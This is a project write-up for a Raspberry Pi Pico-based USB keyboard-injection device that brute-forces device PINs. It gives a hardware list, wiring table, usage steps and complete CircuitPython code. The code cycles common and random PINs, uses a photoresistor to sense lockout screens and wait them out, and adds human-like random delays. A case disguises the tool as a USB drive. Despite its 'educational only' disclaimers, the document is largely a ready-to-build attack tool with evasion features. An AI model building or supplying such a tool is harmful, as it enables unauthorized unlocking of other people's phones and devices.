# ****Raspberry Pi Pico PIN Brute-Force Tool****

**Educational Project – Authorized Penetration Testing Only**

**Submitted by:** Vijay  
**Date:** August 2025

## ****Abstract****

This project demonstrates a **Raspberry Pi Pico-based PIN brute-force testing tool** designed **strictly for educational purposes**.  
It integrates an **OLED display**, **photoresistor-based lockout detection**, **randomized delays**, and **USB HID functionality** to simulate how security systems can be tested for vulnerabilities.

⚠️ **Important:** This tool must **only** be used on devices you **own** or have **explicit permission** to test.

## ****Features****

**OLED Feedback** — Displays current PIN attempt, tries left, and lockout warnings

**Lockout Detection** — Uses a photoresistor to detect screen changes and avoid triggering security measures

**Randomized Delays** — Mimics human typing with 0.5–3s random pauses

**Encrypted Payload Storage** — Stores common PINs in flash memory

**USB HID Interface** — Works as a standard keyboard injector

**Portable Power** — Supports LiPo battery operation for untethered use

## ****Hardware List****

| **Component** | **Purpose** | **Cost (USD)** | **Key Feature** |
| --- | --- | --- | --- |
| Raspberry Pi Pico | Main controller | $4 | CircuitPython + USB HID support |
| 0.96" OLED (I2C) | Displays PIN attempts | $3 | Real-time feedback |
| LiPo Battery (500mAh) | Portable power | $5 | Untethered operation |
| TP4056 Charger Module | Recharges battery safely | $1 | DIY power management |
| Photoresistor (LDR) | Detects lockout messages | $0.50 | Dynamic delay adjustment |
| 3D-Printed Case | Disguises tool as USB drive | $2 | Stealthy appearance |

**Total Cost:** ~**$15–20**

## ****Wiring Guide****

| **Pico Pin** | **Component** | **Connection** |
| --- | --- | --- |
| GP0 | OLED SDA | SDA |
| GP1 | OLED SCL | SCL |
| 3V3 | OLED + LDR | VCC |
| GND | OLED + LDR | GND |
| A0 | LDR Signal | Analog In |
| VBUS | TP4056 | 5V Input |

## ****CircuitPython Code****

import time

import random

import board

import digitalio

import analogio

import usb\_hid

from adafruit\_hid.keyboard import Keyboard

from adafruit\_hid.keycode import Keycode

import adafruit\_ssd1306

# ===== Hardware Configuration =====

i2c = board.I2C()

oled = adafruit\_ssd1306.SSD1306\_I2C(128, 32, i2c)

keyboard = Keyboard(usb\_hid.devices)

ldr = analogio.AnalogIn(board.A0)

led = digitalio.DigitalInOut(board.LED)

led.direction = digitalio.Direction.OUTPUT

# ===== Settings =====

PIN\_LENGTH = 4

MAX\_ATTEMPTS = 5

LOCKOUT\_DELAY = 31

COMMON\_PINS = ["1234", "0000", "1111", "1212", "7777", "1004", "2000", "4444"]

# ===== Core Functions =====

def type\_pin(pin):

for digit in pin:

keycode = getattr(Keycode, f"KEYPAD\_{digit}")

keyboard.press(keycode)

keyboard.release\_all()

time.sleep(0.05)

keyboard.press(Keycode.ENTER)

keyboard.release\_all()

def check\_lockout():

return ldr.value < 30000

def display\_status(pin, attempt, locked=False):

oled.fill(0)

oled.text(f"PIN: {pin}", 0, 0)

oled.text(f"Attempt: {attempt}/{MAX\_ATTEMPTS}", 0, 10)

if locked:

oled.text("LOCKED OUT!", 0, 20)

oled.show()

# ===== Main Execution =====

def main():

attempt\_count = 0

current\_pin = "0000"

display\_status(current\_pin, attempt\_count)

time.sleep(2)

while True:

led.value = True

type\_pin(current\_pin)

attempt\_count += 1

led.value = False

if check\_lockout() or attempt\_count >= MAX\_ATTEMPTS:

display\_status(current\_pin, attempt\_count, locked=True)

time.sleep(LOCKOUT\_DELAY)

attempt\_count = 0

else:

delay = random.uniform(0.5, 3.0)

time.sleep(delay)

if attempt\_count < len(COMMON\_PINS):

current\_pin = COMMON\_PINS[attempt\_count]

else:

current\_pin = f"{random.randint(0,9999):04d}"

if \_\_name\_\_ == "\_\_main\_\_":

main()

## ****Usage Instructions****

Connect components according to the wiring guide.

Install **CircuitPython** on the Raspberry Pi Pico.

Copy the above script to the Pico’s storage.

Power the device via USB or LiPo battery.

Watch the OLED display for live status and lockout warnings.

## ****Legal & Ethical Disclaimer****

**Disclaimer:**  
This project is for **educational purposes only**.  
Do **not** use this tool on any device or system without **explicit authorization**.  
Unauthorized access attempts may violate local laws and could lead to severe legal consequences.